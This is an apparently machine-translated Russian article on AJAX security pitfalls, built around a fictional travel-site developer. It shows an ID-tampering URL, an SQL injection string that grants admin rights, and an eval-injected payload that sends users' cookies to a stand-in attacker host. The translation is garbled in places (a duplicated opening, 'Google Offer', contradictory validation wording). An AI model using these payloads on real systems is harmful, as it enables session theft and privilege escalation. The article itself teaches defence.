Веб-разработчики не заметят волнения, вызванного «AJAX (асинхронный JavaScript и XML)». Создание умных веб-сайтов, таких как Google Offer, или веб-приложений, таких как Gmail, не требует усилий, во многом благодаря этой технологии. Однако по мере разработки приложений AJAX мы обнаружили некоторые его недостатки и обнаружили, что дыры в безопасности постепенно становятся больше, подобно тому, как сайт на основе AJAX постепенно превращается в бомбу замедленного действия. Веб-разработчики не заметят волнения, вызванного «AJAX (асинхронный JavaScript и XML)». Создание умных веб-сайтов, таких как Google Offer, или веб-приложений, таких как Gmail, не требует усилий, во многом благодаря этой технологии. Однако по мере разработки приложений AJAX мы обнаружили некоторые его недостатки и обнаружили, что дыры в безопасности постепенно становятся больше, подобно тому, как сайт на основе AJAX постепенно превращается в бомбу замедленного действия.
Преимущества AJAX
В старые добрые времена «веб-приложений» все было довольно просто. Вы заполняете форму, нажимаете кнопку «Отправить», и текущий экран исчезает, и вы ждете некоторое время, прежде чем вы перейдете на следующую страницу. Сегодня это уже не так. Пользователи хотят, чтобы работа в Интернете была такой же плавной, быстрой и удобной, как и любое настольное приложение.
AJAX часто работает вместе с DHTML (динамический HTML), и его плавное выполнение требует обеспечения беспрепятственного взаимодействия кода JavaScript на веб-странице и веб-сервере в фоновом режиме. Например, когда вы начинаете вводить что-то в поле поиска Google Offer, веб-страница и сервер начинают обмениваться данными в фоновом режиме, а затем будут предоставлены некоторые термины, которые могут вам понадобиться. И все это без необходимости обновления страницы или нажатия каких-либо кнопок. Именно поэтому такие приложения, как Gmail, так хорошо справляются с проверкой орфографии в реальном времени.
Как работает AJAX
Сложные принципы AJAX выходят за рамки того, что я хочу объяснить сегодня, поэтому я лишь кратко опишу их здесь. Код JavaScript на вашей странице может связываться с вашим веб-сервером, не полагаясь на пользователя. Основная роль здесь — объект XMLHttpRequest JavaScript, который может запускаться в фоновом режиме или асинхронно такими событиями, как нажатия клавиш пользователем или события часов (то есть термин асинхронный JavaScript и XML).
Если вы введете «ajax» в Google Offer, вы получите запрос к серверу, подобный тому, который я получил после ввода:
1. www.google.com/complete/search?hl=en&js=true&qu=aj .
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
XML-часть этой терминологии немного вводит в заблуждение; на самом деле она не имеет никакого значения. Он получил свое имя от объекта JavaScript, и многие приложения в стиле AJAX используют XML, который может отправлять запрос на сервер для любой транзакции. Даже сам код JavaScript можно получить и оценить. Продолжение ввода «примера ajax» приведет к следующему ответу от серверов Google:
sendRPCDone(frameElement, "пример ajax", new Array("пример ajax", "примеры ajax"), new Array("153 000 результатов", "177 000 результатов"), new Array(""));
Это должно дать вам представление о возможностях AJAX с его способностью добавлять новый код JavaScript в браузер на лету. Однако оптимальным подходом, по-видимому, является связывание протокола XML. Например, Google выдал следующее:
пример ajax
153 000
примеры ajax
177 000
Очевидно, что вы можете проанализировать эти XML-данные в подходящей форме, но мы должны поблагодарить JavaScript за его способность очень хорошо обрабатывать XML-объекты при некоторых очень типичных ограничениях и множестве неприятных ошибок IE.
Чтобы помочь вам разобраться в некоторых вопросах Ajax, я здесь, чтобы познакомить вас с воображаемой туристической компанией - Times Cutting Edge Travel Company. Вдохновленный ошибкой AJAX, их ведущий веб-разработчик Макс Uptime решил совместить AJAX, чтобы создать такое приложение. Таким образом, он был на шаг впереди всех.
AJAX-проблема
Более половины угроз безопасности AJAX связаны с уязвимостями, скрытыми в сервере. Очевидно, что хороший дизайн с использованием методов безопасного кодирования имеет большое значение для повышения безопасности AJAX, и мы должны поблагодарить Макса за его знакомство с 10 худшими уязвимостями безопасности веб-приложений по версии Open Web Application Security Project (OWASP) ( www. owasp.org ). К сожалению, когда Макс внедрил AJAX, ему все равно пришлось столкнуться с рядом дополнительных факторов:
1. Новая технология. Если Макс хотел подключить свой сайт к базе данных SQL, он нашел в Google миллионы примеров. Технология AJAX, какой бы молодой ни была эта технология, она все еще находится на относительно ранней стадии цикла закупок, хотя в сети появляется лишь несколько хороших ее примеров. Чтобы решить некоторые трудные и ненужные сложные проблемы, разработчикам, таким как Макс, требуется самостоятельное развитие. Максу пришлось бы писать код на стороне сервера и на стороне клиента, создавая протоколы, в которых он не был уверен (особенно для ответов сервера). Какими бы хорошими ни были эти договоренности, со временем они отразятся на странице.
2. Нетрадиционный дизайн: AJAX немного отличается от традиционного дизайна, поскольку такое приложение является наполовину клиентским, наполовину серверным. В случае Макса он единственный разработчик, поэтому может писать код как для сервера, так и для клиента. Одновременная разработка на двух разных языках (особенно на ранних стадиях) создаст некоторые элементарные ошибки кодирования, поскольку то, что хорошо с одной стороны, может не работать с другой стороны. . Даже если у Макса большая команда разработчиков, обязанности по кодированию безопасности могут возникнуть, когда код передается между командами разработчиков сервера и клиента.
3. Слишком много языков сценариев. Макс использовал свою изобретательность, чтобы создать лучший в мире инструмент для регистрации пассажиров. Вы начинаете регистрацию, вводя свое текущее местоположение (через почтовый индекс, код города, GPS и т. д.), и немедленно отправляется запрос AJAX для определения вашего точного местоположения. С этого момента на экране появятся все доступные вам варианты путешествия, и все это еще до того, как вы решите, куда вы хотите поехать, когда вы хотите уехать и с кем вы хотите поехать.
Все ячейки и элементы управления на этом экране управляются AJAX, а сценарии на стороне сервера и на стороне клиента могут потребовать более 20 различных вызовов сервера. Вы можете представить себе небольшую отдельную серверную программу, например findairportsbylocation.aspx или definemaxbaggageallowancebyairline.php.
Стало очевидно, что без тщательного планирования Макса (например, создания универсальных «перегруженных» функций JavaScript и серверных сценариев) он создал бы более 40 отдельных частей для каждого дизайна. Больше программирования означает больше ошибок и ошибок, что означает больше времени на написание, управление, тестирование и обновление кода. Мало того, из-за большого количества таких сценариев, используемых в коде JavaScript на стороне клиента, они также имеют тенденцию становиться очень забывчивыми во время формального тестирования программы.
4. Убедитесь, что небольшое количество AJAX не причинит вреда: этот сайт предназначен для планирования поездки, но Макс думает, что он сразу же предоставит вам спутниковый снимок, показывающий точное местоположение и погодные условия вашего пункта назначения. . Также доступен для вас. Одно из величайших искушений AJAX заключается в том, что до последней минуты кажется, что он делает что-то другое, как объясняет комментатор, используя AJAX ради AJAX. Когда Макс начнет опробовать свои новые идеи, он постепенно будет пытаться добавлять больше новых функций, полностью игнорируя необходимость тестирования.
5. Небезопасная связь. Каждый вызов AJAX может возвращать клиенту лишь небольшой объем данных, но эти данные являются частными и конфиденциальными. Макс может написать удобный инструмент для цифровой проверки номеров вашей кредитной карты, но что, если вместо этого вы будете использовать обычный текст через SSL для отправки данных? Это очевидный вопрос, но когда нужно учитывать множество процедур, особенно когда остальные 99%? данные на экране не являются по-настоящему конфиденциальными, поэтому SSL легко игнорировать.
6. Управление доступом на стороне сервера. Одним из примеров является использование программ JavaScript для запуска AJAX. Предположим, Макс хочет предоставить вам ваш любимый отель на основе подробного пункта назначения, который вы посетили в прошлый раз. Это может выглядеть так:
showprevioushotels.aspx?userid=12345&destination=UK
Это конечно очень хорошо, но что если злонамеренный пользователь изменит URL на что-то вроде этого:
showprevioushotels.aspx?userid=12346&destination=%
Будут ли они получать любимые отели других людей (Примечание: % — это подстановочный знак в операторе SQL). Несомненно, это безобидный пример, но Макс должен использовать сеансы, файлы cookie или другие токены, чтобы гарантировать, что данные могут быть отправлены только правильному пользователю. Это может быть лишь небольшая часть данных, но они могут быть самой важной частью.
7. Проверка на стороне сервера. На самом деле здесь есть две проблемы. Во-первых, элементы управления AJAX часто используются для проверки ввода пользователя перед окончательной отправкой на сервер. Это парализует Макса и дает ему ложное чувство безопасности, поскольку он настраивает функцию под названием «alloweddestinations.php», которая определяет правильный пункт назначения для пользователя на основе его идентификатора.
Поскольку это проверка на стороне сервера, ему не нужно беспокоиться о повторной проверке на сервере, когда страница наконец будет отправлена. Мы предполагаем, что ни один злонамеренный пользователь не сможет исказить ответ от разрешенного файла Destinations.php или уничтожить окончательный запрос. запрос сервера.
Элементы управления AJAX могут проверять вводимые пользователем данные более тщательно, чем сам пользователь, но они все равно часто выполняют окончательную проверку на сервере.
Вторая проблема с проверкой AJAX заключается в том, что сам элемент управления подвержен уязвимостям проверки. Опять же, URL-адреса часто скрыты, поэтому о них часто забывают. Например, возможно, я могу использовать SQL-инъекцию для атаки на скрипт прямо сейчас, как показано ниже:
showprevioushostels.aspx?userid='; обновление пользователей set type='admin' где userid=12345;--
Это позволит мне войти в систему с правами системного администратора. Конечно, вопрос о том, как получить имена таблиц и полей, выходит за рамки этой статьи, но вы уже знаете эту ситуацию, не так ли?
8. Проверка на стороне клиента. Мы уже знаем, что в примере Google Offer можно динамически создавать и выполнять функции JavaScript, просто оценивая ответ на стороне сервера. Без какой-либо формы проверки (которую было бы сложно обеспечить надежность и плавность работы на стороне клиента) клиент просто будет делать то, что требует от него сервер.
В этом случае, поскольку фактическое выполнение кода никогда не видно обычному пользователю (т. е. вы не можете «просмотреть исходный код»), это потенциально открывает полный путь атаки для злоумышленников. Если ответ сервера постоянно подделывается (либо на самом веб-сервере, либо во время передачи данных), эту атаку будет трудно обнаружить.
Макс использует следующий ответ для обновления значка погоды на целевой веб-странице. Он использует функцию eval():
updateWeatherIcon('cloudy.gif');
Однако злоумышленник-взломщик может изменить эту функцию на следующую форму, что затруднит обнаружение атаки:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies'); updateWeatherIcon('cloudy.gif');
Теперь мы можем отслеживать идентификатор сеанса/файл cookie каждого пользователя на наших собственных серверах.
краткое содержание
Нет сомнений в том, что AJAX и технологии в стиле AJAX — это светлая дорога в веб-дизайн. Разработчики могут создавать в сети настоящие «приложения», что раньше было невозможно, но при использовании AJAX необходимо соблюдать осторожность, чтобы обеспечить безопасность веб-сайта.
Однако одна из самых больших угроз исходит от все более сложных клиентских и серверных сценариев, использующих AJAX. Эти сценарии скрыты от глаз техническими средствами, что делает тестирование неинтуитивным. В то же время эта новая технология, похоже, заставляет веб-разработчиков забывать основы хорошего кодирования; Такие проблемы, как контроль доступа и проверка ввода, не исчезают, они становятся все более многочисленными и сложными.
-